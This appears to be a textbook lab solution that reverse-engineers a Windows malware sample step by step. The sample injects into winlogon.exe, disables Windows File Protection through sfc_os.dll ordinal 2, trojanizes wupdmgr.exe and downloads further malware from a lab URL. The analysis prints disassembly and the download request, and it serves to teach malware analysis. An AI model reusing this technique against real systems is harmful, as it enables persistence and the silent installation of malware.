The malware checks to see if a given PID is winlogon.exe.
Winlogon.exe is the process injected.
The DLL sfc_os.dll will be used to disable Windows File Protection.
The fourth argument passed to CreateRemoteThread is a
function pointer to an unnamed ordinal 2 (SfcTerminateWatcherThread) of sfc_os.dll.
The malware drops a binary from its resource section and overwrites the old Windows Update binary (wupdmgr.exe) with it. Before overwriting the real wupdmgr.exe, the malware copies it to the %TEMP% directory for later usage.
The malware injects a remote thread into winlogon.exe and calls a
function exported by sfc_os.dll, ordinal 2 (SfcTerminateWatcherThread), to disable Windows File Protection until the next reboot. The
CreateRemoteThread call is necessary because this function must
be executed inside the winlogon.exe process. The malware trojanizes
wupdmgr.exe by using that executable to update its own malware and call the
original Windows Update binary, which was saved to the %TEMP% directory.
We begin with basic static analysis. Examining the imports, we see CreateRemoteThread, but not WriteProcessMemory or
VirtualAllocEx, which is interesting. We also see imports for
resource manipulation, such as LoadResource and FindResourceA. Examining the malware with Resource Hacker, we notice an
additional program named BIN stored in the resource section.
Next, we turn to basic dynamic techniques. Procmon shows us that the malware creates the file %TEMP%\winup.exe and overwrites the Windows Update binary at %SystemRoot%\System32\wupdmgr.exe. Comparing the dropped wupdmgr.exe with the file in the BIN resource section, we see that they are the same. (Windows File Protection should restore the original file, but it doesn’t.)
Running Netcat, we find that the malware attempts to download updater.exe from www.practicalmalwareanalysis.com, as shown in Example C-81.
Example C-81. HTTP GET request performed after running
Lab12-04.exe
GET /updater.exe HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Host: www.practicalmalwareanalysis.com Connection: Keep-Alive
We load the malware into IDA Pro and scroll to the main
function at address 0x00401350. A few lines from the start of the main function, we see the malware resolving functions for Windows process enumeration
within psapi.dll, as shown in Example C-82.
Example C-82. Dynamically resolving process enumeration imports
004013AA push offset ProcName ; "EnumProcessModules" 004013AF push offset aPsapi_dll ; "psapi.dll" 004013B4 call ds:LoadLibraryA❶ 004013BA push eax 004013BB call ds:GetProcAddress❷ 004013C1 movdword_40312C, eax ❸ ; Rename to myEnumProcessModules
Example C-82 also shows one of the three
functions the malware manually resolves using LoadLibraryA at
❶ and GetProcAddress
at ❷.
The malware saves the function pointer to dword_40312C
(here at ❸), dword_403128, and dword_403124. We’ll change the
names of these global variables to make it easier to identify calls to the function later in our
analysis, renaming them to myEnumProcessModules, myGetModuleBaseNameA, and myEnumProcesses.
Once the malware checks the values of the function pointers, it arrives at 0x00401423 and the
call myEnumProcesses, as shown in Example C-83 at ❶. The goal of the
code in this listing is to return an array of PIDs on the system. The start of the array is
referenced by the local variable dwProcessId shown at ❷.
Example C-83. Enumerating processes
00401423 lea eax, [ebp+var_1228]
00401429 push eax ; _DWORD
0040142A push 1000h ; _DWORD
0040142F lea ecx, [ebp+dwProcessId] ❷
00401435 push ecx ; _DWORD
00401436 call myEnumProcesses ❶
0040143C test eax, eax
0040143E jnz short loc_401The malware then begins to loop through the PIDs, passing each to the subroutine at
0x00401000, as shown in Example C-84. We see an index into the array
referenced by dwProcessId, which is calculated before calling
sub_401000.
Example C-84. Looping through PIDs
00401495 mov eax, [ebp+var_1238] 0040149B mov ecx, [ebp+eax*4+dwProcessId] 004014A2 push ecx ; dwProcessId 004014A3 callsub_401000
We examine the internals of sub_401000 and see two local
variables set (Str1 and Str2),
as shown in Example C-85. The variable Str1 will contain the string "<not real>", and
Str2 will contain "winlogon.exe".
Example C-85. Initialization of strings
0040100A mov eax, dword ptr aWinlogon_exe ; "winlogon.exe" 0040100F mov dword ptr [ebp+Str2], eax ... 0040102C mov ecx, dword ptr aNotReal ; "<not real>" 00401032 mov dword ptr [ebp+Str1], ecx
Next, the malware passes the loop parameter (dwProcessId) to the OpenProcess call in order to
obtain a handle to that process, as shown at ❶ in Example C-86. The handle returned from OpenProcess is stored in EAX and passed to the myEnumProcessModules function at ❷, which
returns an array of handles for each module loaded into a process.
Example C-86. For each process, enumerate the modules
00401070 push edx ; dwProcessId 00401071 push 0 ; bInheritHandle 00401073 push 410h ; dwDesiredAccess 00401078 call ds:OpenProcess ❶ ... 00401087 lea eax, [ebp+var_120] 0040108D push eax 0040108E push 4 00401090 lea ecx, [ebp+var_11C] 00401096 push ecx 00401097 mov edx, [ebp+hObject]❷ 0040109A push edx 0040109B call myEnumProcessModules
As shown in Example C-87, the malware attempts to get the
base name of the module’s PID by using GetModuleBaseNameA.
If it succeeds, Str1 will contain the string of the base name of
the module for the PID passed to this subroutine; if not, it will keep the initialized value
"<not real>".
Example C-87. Getting the name of each module
004010A5 push 104h 004010AA lea eax, [ebp+Str1]; will change 004010B0 push eax 004010B1 mov ecx, [ebp+var_11C] 004010B7 push ecx 004010B8 mov edx, [ebp+hObject] 004010BB push edx 004010BC call myGetModuleBaseNameA
The old initialized string "<not real>" should have
the name of the base module returned from GetModuleBaseNameA.
This string is compared to the "winlogon.exe" string. If the strings match, EAX will be equal to 0, and the function will
return with EAX equal to 1. If the strings do not match, EAX will be equal to 0 on return. We can
now safely say that sub_401000 is attempting to determine which
PID is associated with winlogon.exe.
Now that we know what sub_401000 does, we can rename it as
PIDLookup. Notice at ❶ in Example C-88 that the return value in EAX is tested
to see if it is 0. If so, the code jumps to loc_4014CF,
incrementing the loop counter and rerunning the PIDLookup
function with a new PID. Otherwise, if the PID matched winlogon.exe, then the
PID will be passed to the sub_401174, as seen at ❷ in the listing.
Example C-88. PID lookup and comparison
004014A3 call PIDLookup
004014A8 add esp, 4
004014AB mov [ebp+var_114], eax
004014B1 cmp [ebp+var_114], 0 ❶
004014B8 jz short loc_4014CF
...
004014E4 mov ecx, [ebp+var_1234]
004014EA push ecx ; dwProcessId
004014EB call sub_401174 ❷Examining sub_401174, we see another subroutine
called immediately, with the argument SeDebugPrivilege. This
function performs the SeDebugPrivilege privilege-escalation
procedure we discussed extensively in Chapter 11.
Following the SeDebugPrivilege escalation function, we see
sfc_os.dll passed to LoadLibraryA, as shown at ❶ in Example C-89. Next, GetProcAddress is called on the handle to sfc_os.dll and ordinal 2
(an undocumented Windows function). Ordinal 2 is pushed onto the stack at ❷. The function pointer of ordinal 2 is saved to lpStartAddress at ❸ (the label
provided by IDA Pro). The malware then calls OpenProcess on the
PID of winlogon.exe and dwDesiredAccess of
0x1F0FFF (symbolic constant for PROCESS_ALL_ACCESS). The handle
to winlogon.exe is saved to hProcess at
❹.
Example C-89. Resolving ordinal 2 of sfc_os.dll and opening a handle to
Winlogon
004011A1 push 2 ❷ ; lpProcName 004011A3 push offset LibFileName ; "sfc_os.dll" 004011A8 call ds:LoadLibraryA❶ 004011AE push eax ; hModule 004011AF call ds:GetProcAddress004011B5 movlpStartAddress, eax ❸ 004011BA mov eax, [ebp+dwProcessId] 004011BD push eax ; dwProcessId 004011BE push 0 ; bInheritHandle 004011C0 push 1F0FFFh ; dwDesiredAccess 004011C5 call ds:OpenProcess004011CB mov [ebp+hProcess], eax ❹ 004011CE cmp [ebp+hProcess], 0 004011D2 jnz short loc_4011D
The code in Example C-90 calls CreateRemoteThread. Examining the arguments for CreateRemoteThread, we see that the hProcess parameter
at ❶ is EDX, our winlogon.exe
handle. The lpStartAddress passed at ❷ is a pointer to the function at sfc_os.dll
at ordinal 2 that injects a thread into winlogon.exe. (Because
sfc_os.dll is already loaded inside winlogon.exe, there is
no need to load the DLL within the newly created remote thread, so we don’t have a call to
WriteProcessMemory.) That thread is ordinal 2 of
sfc_os.dll.
Example C-90. Calling CreateRemoteThread for a remote process
004011D8 push 0 ; lpThreadId
004011DA push 0 ; dwCreationFlags
004011DC push 0 ; lpParameter
004011DE mov ecx, lpStartAddress ❷
004011E4 push ecx ; lpStartAddress
004011E5 push 0 ; dwStackSize
004011E7 push 0 ; lpThreadAttributes
004011E9 mov edx, [ebp+hProcess]
004011EC push edx ; hProcess ❶
004011ED call ds:CreateRemoteThreadBut what are sfc_os.dll and export ordinal 2? The DLL
sfc_os.dll is partially responsible for Windows File Protection, a series of
threads running within winlogon.exe. Ordinal 2 of
sfc_os.dll is an unnamed export known as SfcTerminateWatcherThread.
The information about sfc_os.dll and export ordinal 2 given here is undocumented. To avoid needing to reverse-engineer the Windows DLL, search the Internet for “sfc_os.dll ordinal 2” to see what information you can find.
SfcTerminateWatcherThread must run inside
winlogon.exe in order to successfully execute. By forcing the SfcTerminateWatcherThread function to execute, the malware disables
Windows File Protection until the next system reboot.
If the thread is injected properly, the code in Example C-91 executes, building a string. When the code
executes, GetWindowsDirectoryA at ❶ returns a pointer to the current Windows directory (usually
C:\Windows), and the malware passes this string and \system32\wupdmgr.exe to an _snprintf call, as shown
at ❷ and ❸.
This code will typically build the string "C:\Windows\system32\wupdmgr.exe", which will be stored in ExistingFileName. Wupdmgr.exe is used for Windows updates under
Windows XP.
Example C-91. Building a string for the wupdmgr.exe path
00401506 push 10Eh ; uSize 0040150B lea edx, [ebp+Buffer] 00401511 push edx ; lpBuffer 00401512 call ds:GetWindowsDirectoryA❶ 00401518 push offset aSystem32Wupdmg ; \\system32\\wupdmgr.exe ❸ 0040151D lea eax, [ebp+Buffer] 00401523 push eax ❷ 00401524 push offset aSS ; "%s%s" 00401529 push 10Eh ; Count 0040152E lea ecx, [ebp+ExistingFileName] 00401534 push ecx ; Dest 00401535 call ds:_snprintf
In Example C-92, we see another string being
built. A call to GetTempPathA at ❶ gives us a pointer to the current user’s temporary directory, usually
C:\Documents and Settings\<username>\Local\Temp. The temporary directory
path is then passed to another _snprintf call with the parameter
\\winup.exe, as seen at ❷ and ❸, creating the string "C:\Documents and Settings\username\Local\Temp\winup.exe", which is
stored in NewFileName.
Example C-92. Building a string for the winup.exe path
0040153B add esp, 14h 0040153E lea edx, [ebp+var_110] 00401544 push edx ; lpBuffer 00401545 push 10Eh ; nBufferLength 0040154A call ds:GetTempPathA❶ 00401550 push offset aWinup_exe ; \\winup.exe ❸ 00401555 lea eax, [ebp+var_110] 0040155B push eax ❷ 0040155C push offset aSS_0 ; "%s%s" 00401561 push 10Eh ; Count 00401566 lea ecx, [ebp+NewFileName] 0040156C push ecx ; Dest 0040156D call ds:_snprintf
We can now see why IDA Pro renamed two local variables to NewFileName and ExistingFileName. These local
variables are used in the MoveFileA call, as shown in Example C-93 at ❶. The MoveFileA function will move the Windows
Update binary to the user’s temporary directory.
Example C-93. Moving the Windows Update binary to the temporary directory
00401576 lea edx, [ebp+NewFileName] 0040157C push edx ; lpNewFileName 0040157D lea eax, [ebp+ExistingFileName] 00401583 push eax ; lpExistingFileName 00401584 call ds:MoveFileA❶
In Example C-94, we see the malware calling GetModuleHandleA at ❶, which returns a module
handle for the current process. We then see a series of resources section APIs, specifically,
FindResourceA with parameters #101 and BIN. As we guessed as a result of our earlier
basic analysis, the malware is extracting its resource section to disk.
Example C-94. Resource extraction
004012A1 call ds:GetModuleHandleA❶ 004012A7 mov [ebp+hModule], eax 004012AA push offset Type ; "BIN" 004012AF push offset Name ; "#101" 004012B4 mov eax, [ebp+hModule] 004012B7 push eax ; hModule 004012B8 call ds:FindResourceA
Later in this function, following the call to FindResourceA, are calls to LoadResource, SizeofResource, CreateFileA, and
WriteFile (not shown here). This combination of function calls
extracts the file from the resource section BIN and writes the
file to C:\Windows\System32\wupdmgr.exe. The malware is creating a new Windows
Update binary handler. Under normal circumstances, its attempt to create a new handler would fail
because Windows File Protection would detect a change in the file and overwrite the newly created one, but because the
malware disabled this functionality, it can overwrite normally protected Windows binaries.
The last thing this function does is launch the new wupdmgr.exe using
WinExec. The function is launched with an uCmdShow parameter of 0, or SW_HIDE, as
shown at ❶ in Example C-95, in order to hide the program window.
Example C-95. Launching the extracted file
0040133C push 0 ❶ ; uCmdShow
0040133E lea edx, [ebp+FileName]
00401344 push edx ; lpCmdLine
00401345 call ds:WinExecHaving completed our analysis of this binary, let’s examine the binary extracted from its resource section. To get the binary, run the malware and open the newly created wupdmgr.exe or use Resource Hacker to carve out the file.
After loading the malware into IDA Pro, we see a familiar subset of calls in the main function. The malware creates a string to our temporary move of the
original Windows Update binary (C:\Documents and
Settings\username\Local\Temp\winup.exe), and then runs the original Windows Update binary
(using WinExec), which was saved to the user’s temporary
directory. If the user were to perform a Windows Update, everything would appear to operate
normally; the original Windows Update file would run.
Next, in IDA Pro, we see construction of the string C:\Windows\system32\wupdmgrd.exe beginning at
0x4010C3, to be stored in a local variable Dest. Other than the
d in the filename, this string is very close to the original Windows Update
binary name.
In Example C-96, notice the API call to URLDownloadToFileA. This call takes some interesting parameters that
deserve further inspection.
Example C-96. Analyzing the extracted and launched malware
004010EF push 0 ; LPBINDSTATUSCALLBACK
004010F1 push 0 ; DWORD
004010F3 lea ecx, [ebp+Dest] ❷
004010F9 push ecx ; LPCSTR
004010FA push offset aHttpWww_practi ❶ ; "http://www.practicalmal..."
004010FF push 0 ; LPUNKNOWN
00401101 call URLDownloadToFileAThe parameter at ❶, szURL, is set to http://www.practicalmalwareanalysis.com/updater.exe. At ❷, the szFileName parameter is set to Dest (C:\Windows\system32\wupdmgrd.exe). The malware is doing its own updating, downloading
more malware! The downloaded updater.exe file will be saved to
wupdmgrd.exe.
The malware compares the return value from URLDownloadToFileA with 0 to see if the function call failed. If the return value is not
0, the malware will execute the newly created file. The binary will then return and exit.
Our analysis of the malware in this lab has introduced a common way that malware alters Windows functionality by disabling Windows File Protection. The malware in this lab trojanized the Windows Update process and created its own malware update routine. Users with this malware on their machine would see normal functionality because the malware did not completely destroy the original Windows Update binary.